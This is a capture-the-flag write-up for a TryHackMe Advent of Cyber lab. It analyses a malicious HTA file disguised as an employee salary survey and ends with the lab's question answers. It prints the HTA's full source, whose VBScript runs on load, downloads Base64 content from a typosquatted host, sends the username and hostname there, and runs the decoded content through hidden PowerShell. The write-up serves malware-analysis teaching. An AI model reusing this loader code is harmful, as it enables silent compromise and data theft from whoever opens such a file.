Malware Analysis — Malhare.exe | Advent of Cyber 2025 Day 21

Access the room: https://tryhackme.com/room/htapowershell-aoc2025-p2l5k8j1h4

And in our kingdom of Wareville, just like in others, thousands of files of all kinds pass through the systems every day, from DOCX, PDF resumes received by our elves, to financial spreadsheets, CSVs from the accounting department, and executable files launched by different applications. But have you ever wondered which of these might be malicious? Which ones could actually belong to King Malhare? An interesting question, isn’t it?

Learning Objectives

In this task, the TBFC SOC team will investigate one specific file type, the HTA format — a type often used for legitimate purposes, yet just as frequently exploited by attackers. Your mission is to reverse-engineer the HTA and uncover how King Malhare tricked Wareville’s elves. To do this, you will have to look for:

Application metadata
Script functions
Any network calls or encoded data
Clues about exfiltration

HTA Overview

In the summer of 2025, security researchers observed ransomware operators abusing a lesser known but powerful Windows file type: HTA (HTML Application) files. One such campaign delivered the Epsilon Red ransomware, disguised as fake verification or survey pages. This incident served as a reminder that not every threat arrives as an obvious executable — sometimes, it looks like a harmless internal tool.

In this TryHackMe challenge, we step into the role of defenders in Wareville, investigating how King Malhare’s minions used a fake salary survey to compromise multiple endpoints. The common artifact? Suspicious .hta file attached to an email.

What Is an HTA File?

An HTA (HTML Application) is essentially a desktop application built using web technologies:

HTML for structure
CSS for styling
JavaScript or VBScript for logic

Unlike standard HTML pages that run inside a browser sandbox, HTA files execute via Microsoft HTML Application Host (mshta.exe), which grants them full user-level access to the Windows system.

This makes HTAs extremely flexible — and extremely dangerous.

Legitimate Uses of HTAs

HTAs were originally designed to help administrators and developers by enabling:

Automation of setup or administrative tasks
Lightweight internal tools
Rapid prototyping without compiling software
Simple IT support utilities

In other words, HTAs blend the simplicity of web development with the power of native Windows execution.

Unfortunately, attackers realized this power could be abused.

Why Attackers Abuse HTA Files

HTAs are attractive to attackers for several reasons:

They execute using built-in Windows binaries (mshta.exe)
They bypass some traditional application controls
They can embed or download scripts dynamically
They support VBScript, JavaScript, and PowerShell
They are commonly trusted in corporate environments

Malicious HTAs are often used for:

Initial access via phishing attachments
Downloaders or droppers for second-stage payloads
Obfuscation, using Base64 or layered scripts
Living-off-the-land (LOLBins) attacks

A single HTA file can act as a launcher that pulls the real malware from an external server and executes it entirely in memory.

Step by step Malware Analysis

Safety Measures

The first rule when analyzing suspicious files is never double-click them.

In the TryHackMe AttackBox, we safely opened the file using a text editor:

pluma /root/Rooms/AoC2025/Day21/survey.hta

This ensures the file does not execute while we inspect it.

Here’s the complete code for the HTA file; make sure not to save it on your main system and instead use an attack box or virtual machine:

<!DOCTYPE html>
<html>
<head>
<title>Best Festival Company Developer Survey</title>
<hta:application id="APP123080"
applicationname="Festival Elf Survey"
icon="logo.ico"
border="thin"
caption="yes"
maximizebutton="no"
minimizebutton="no"
singleinstance="yes"
windowstate="normal"
sysmenu="yes">
</hta:application>
<script type="text/javascript">
 function visited() {
  document.getElementById("never").style.display = 'none';
  document.getElementById("visited").style.display = 'block';
 }
 function never() {
  document.getElementById("visited").style.display = 'none';
  document.getElementById("never").style.display = 'block';
 }
 function submitted() {
  document.getElementById("spinner").style.display = 'none';
  document.getElementById("questions").style.display = 'none';
  document.getElementById("thanks").style.display = 'block';
 }
 function submit() {
  document.getElementById("submitbutton").style.display = 'none';
  document.getElementById("spinner").style.display = 'inline';
  setTimeout(submitted, 2000);
 }
</script>

<script type="text/vbscript"> 
 
 Sub Window_onLoad
  Call getQuestions()
 End Sub
 
 Function getQuestions()
  Dim IE, result, decoded, decodedString
  Set IE = CreateObject("InternetExplorer.Application")
  IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"
  Do While IE.ReadyState < 4
  Loop
  result = IE.document.body.innerText
  IE.quit   

  decoded = decodeBase64(result)
  decodedString = RSBinaryToString(decoded)
        Call provideFeedback(decodedString)
 End Function
 
 Function provideFeedback(feedbackString) 
  Dim strHost, strUser, strDomain
  On Error Resume Next
  strHost = CreateObject("WScript.Network").ComputerName
  strUser = CreateObject("WScript.Network").UserName
  
  Dim IE
  Set IE = CreateObject("InternetExplorer.Application")
  IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
  Do While IE.ReadyState < 4
  Loop
  IE.quit 
     
  Dim runObject

  Set runObject = CreateObject("Wscript.Shell")
  runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False
  
 End Function
  
 Function decodeBase64(base64)
  dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
 end function

 Function RSBinaryToString(xBinary)
  Dim Binary
  If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary

  Dim RS, LBinary
  Const adLongVarChar = 201
  Set RS = CreateObject("ADODB.Recordset")
  LBinary = LenB(Binary)

  If LBinary>0 Then
   RS.Fields.Append "mBinary", adLongVarChar, LBinary
   RS.Open
   RS.AddNew
   RS("mBinary").AppendChunk Binary 
   RS.Update
   RSBinaryToString = RS("mBinary")
  Else
   RSBinaryToString = ""
  End If
 End Function
</script>

  <style>
   body {
    font-family: museo_sans,Arial,Helvetica,sans-serif;
    overflow-x: hidden;                 
   }   
   #header {
    background-color: rgb(0, 153, 153);
    box-shadow: rgba(0, 0, 0, .298039) 0 5px 0 0;
    height: 150px;
    width: 100%;    
    z-index: 1000;
    margin-right: auto; 
    margin-left: auto;
   }
   #survey-content {
    width: 100%;
    max-width: 1100px;
    z-index: 1000;
    margin-right: auto;
    margin-left: auto;
   }
   #topbar {
    max-width: 500px;
    float: left;
   }
   #logo {
    
    margin-left 10%;
   }   
   #survey {
    margin-top: 5.0%;
    margin-right: 20px;
    padding-left: 10px;
    padding-right: 10px;
    background-color: rgb(0, 153, 153);
    font-family: inherit;
    font-size: 40px;
    text-color: #F8F8F8;
    font-weight: bold;
    text-transform: uppercase;
    text-decoration: none;
    color: #FFFFFF;    
    float: right;
   }
   #survey-heading {
   color: #FFFFFF; 
   font-family: 'Helvetica Neue', sans-serif; 
   font-weight: bold;
   letter-spacing: -1px;
   line-height: 1; 
   }
   #hp  {
   float: right;    
   margin: -55% 65%;
   }
   #thanks {
   overflow-x: hidden;
   overflow-y: hidden;
   }
  </style>
 </head>
 <body>

  <div id="header">
   <div id="topbar">
    <img id="logo" src="logo.png" alt="logo"></img>
   </div>
   <div id="survey">
    <p id="survey-heading">Insert Survey Heading</p>
   </div>
   
  </div><br>
  <div id="survey-content">
   <h2>Anonymous Salary Feedback</h2>
   
   <div id="questions">
   <div>
   <p> We are looking for your feedback to help us improve our employee relations and to invest in the future of our employees.This survey is completely anonymous and gives you to opportunity to express what you think about Best Festival Company's commitment to its employees. Please take five minutes to complete the following survey.</p>
   </div>
   
   <h3>How long have you been employed at Best Festival Company?</h3>
   <label><input type="radio" name="q1"/> Less than 1 year</label><br />
   <label><input type="radio" name="q1"/> Less than 2 years</label><br />
   <label><input type="radio" name="q1"/> 2 years or more</label>
         
   <h3>Do you feel valued at work?</h3>
   <label><input type="radio" name="q2" />Yes</label><br />
   <label><input type="radio" name="q2" />No</label><br />
   <label><input type="radio" name="q2" />Indecisive</label>
   
   <h3>Do you feel content with your current salary?</h3>
   <label><input type="radio" name="q3" />Yes</label><br />
   <label><input type="radio" name="q3" />No</label><br />
   <label><input type="radio" name="q3" />Indecisive</label>
   
   <h3>By how much do you believe your salary should increase?</h3>
   <label><input type="radio" name="q4" />Up to 5%</label><br />
   <label><input type="radio" name="q4" />Between 5% and 10%</label><br />
   <label><input type="radio" name="q4" />Between 10% and 15%</label><br />
   <label><input type="radio" name="q4" />More that 10%</label><br />  
  </div>  
<input id="submitbutton" type="submit" value="Submit" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="submit()" />
<img src="" style="display:none" id="spinner" />
</div>
<div id="thanks" style="display:none">
<div id="survey-content">
<div>Thank you for your feedback!</div>
<div>All participants will be entered into a prize draw for a chance to win a trip to the South Pole!</div>
<input id="submitbutton" type="submit" value="Close" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="self.close()" />
</div> 
</div>
<div>
</div>
</body>
</html>

Reviewing the HTA Metadata

We begin with the <head> section, which often reveals how attackers disguise their payload.

Key elements to inspect:

<title> – often impersonates legitimate tools (e.g., “Salary Survey”)
<HTA:APPLICATION> – controls window behavior:
Hidden taskbar
Minimized windows
No borders or captions

Attackers frequently make malicious HTAs appear benign while hiding any visible interface.

Identifying Script Logic (VBScript)

The real behavior of an HTA lives inside the script block:

<script type="text/vbscript">

Within this file, we identified five VBScript functions:

Functions Observed

window_onLoad: Automatically executes when the HTA opens then it calls the getQuestions() function.
getQuestions(): It makes external network requests, decodes Base64 content and passes decoded data to provideFeedback() function.
provideFeedback(feedbackString): Collects system information, makes additional external connections, Executes decoded content
decodeBase64(base64): Converts Base64-encoded data into binary
RSBinaryToString(xBinary): Converts binary data back into readable strings

This structure is a major red flag. Legitimate survey tools do not typically decode Base64 data and execute it dynamically.

Dangerous Windows Objects

We next look for calls to CreateObject(), which often signal interaction with the operating system.

Notable objects found:

InternetExplorer.Application: Used to make outbound HTTP requests
WScript.Network: Collects hostnames, usernames, and domain data
WScript.Shell: Executes system commands and scripts

These objects together indicate:

Data exfiltration
System reconnaissance
Command execution

Encoded Payloads and Base64 Analysis

Inside the script, we encounter Base64-encoded strings. This is a classic obfuscation technique.

Attackers use Base64 to:

Hide URLs
Conceal PowerShell commands
Evade basic string-based detection

Using a tool like CyberChef, we decode the Base64 content and reveal:

A remote URL hosted on the attacker’s infrastructure
Content that is fetched dynamically at runtime

The decoded logic follows a familiar pattern:

$U – Stores the decoded URL
$C – Downloads the content from the URL
$B – Converts the content into an executable scriptblock

This means code is being downloaded and executed directly in memory, a strong indicator of malicious intent.

What the User Sees

Finally, we inspect the <body> section of the HTA.

This is what the victim actually interacts with.

In this case:

The interface mimics a legitimate salary survey
Input fields and buttons provide social engineering cover
Meanwhile, malicious code executes in the background on load

The user believes they are submitting survey feedback — while the HTA silently performs reconnaissance and payload execution.

Final Verdict: What Did the HTA Do?

This HTA file:

Masquerades as a legitimate salary survey
Executes automatically on open
Collects system and user information
Downloads additional malicious content from a remote server
Executes that content in memory using PowerShell/VBScript

In short, it acts as a malicious loader, providing initial access for further compromise.

Lab Answers

What is the title of the HTA application?
Best Festival Company Developer Survey.

What VBScript function is acting as if it is downloading the survey questions?
getQuestions().

What URL domain (including sub-domain) is the “questions” being downloaded from?
survey.bestfestiivalcompany.com.

Malhare seems to be using typosquatting, domains that look the same as the real one, in an attempt to hide the fact that the domain is not the inteded one, what character in the domain gives this away?
i.

Malicious HTAs often include real-looking data, like survey questions, to make the file seem authentic. How many questions does the survey have?
4.

Notice how even in code, social engineering persists, fake incentives like contests or trips hide in plain sight to build trust. The survey entices participation by promising a chance to win a trip to where?
South Pole.

The HTA is enumerating information from the local host executing the application. What two pieces of information about the computer it is running on are being exfiltrated? You should provide the two object names separated by commas.
ComputerName,UserName.

What endpoint is the enumerated data being exfiltrated to?
/details.

What HTTP method is being used to exfiltrate the data?
GET.

Since there’s no POST body, no headers, and no form submissions, it suggests that the function is using the GET method to exfiltrate the data.

After reviewing the function intended to get the survey questions, it seems that the data from the download of the questions is actually being executed. What is the line of code that executes the contents of the download?
runObject.Run “powershell.exe -nop -w hidden -c “ & feedbackString, 0, False.

It seems as if the malware site has been taken down, so we cannot download the contents that the malware was executing. Fortunately, one of the elves created a copy when the site was still active. Download the contents from here. What popular encoding scheme was used in an attempt to obfuscate the download?
base64.

Decode the payload. It seems as if additional steps where taken to hide the malware! What common encryption scheme was used in the script?
ROT13.

function AABB {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory)]
        [string]$Text
    )

    $sb = New-Object System.Text.StringBuilder $Text.Length
    foreach ($ch in $Text.ToCharArray()) {
        $c = [int][char]$ch

        if ($c -ge 65 -and $c -le 90) {           
            $c = (($c - 65 + 13) % 26) + 65
        }
        elseif ($c -ge 97 -and $c -le 122) {      
            $c = (($c - 97 + 13) % 26) + 97
        }

        [void]$sb.Append([char]$c)
    }
    $sb.ToString()
}

$flag = 'GUZ{Znyjner.Nanylfrq}'

$deco = AABB -Text $flag
Write-Output $deco

The script uses ROT13, a simple substitution cipher where each alphabetical character is rotated 13 positions forward in the alphabet. Uppercase and lowercase letters are processed separately, while non-alphabetic characters remain unchanged.

Either run the script or decrypt the flag value using online tools such as CyberChef. What is the flag value?
THM{Malware.Analysed}.

Malware Analysis — Malhare.exe | Advent of Cyber 2025 Day 21 | Writeup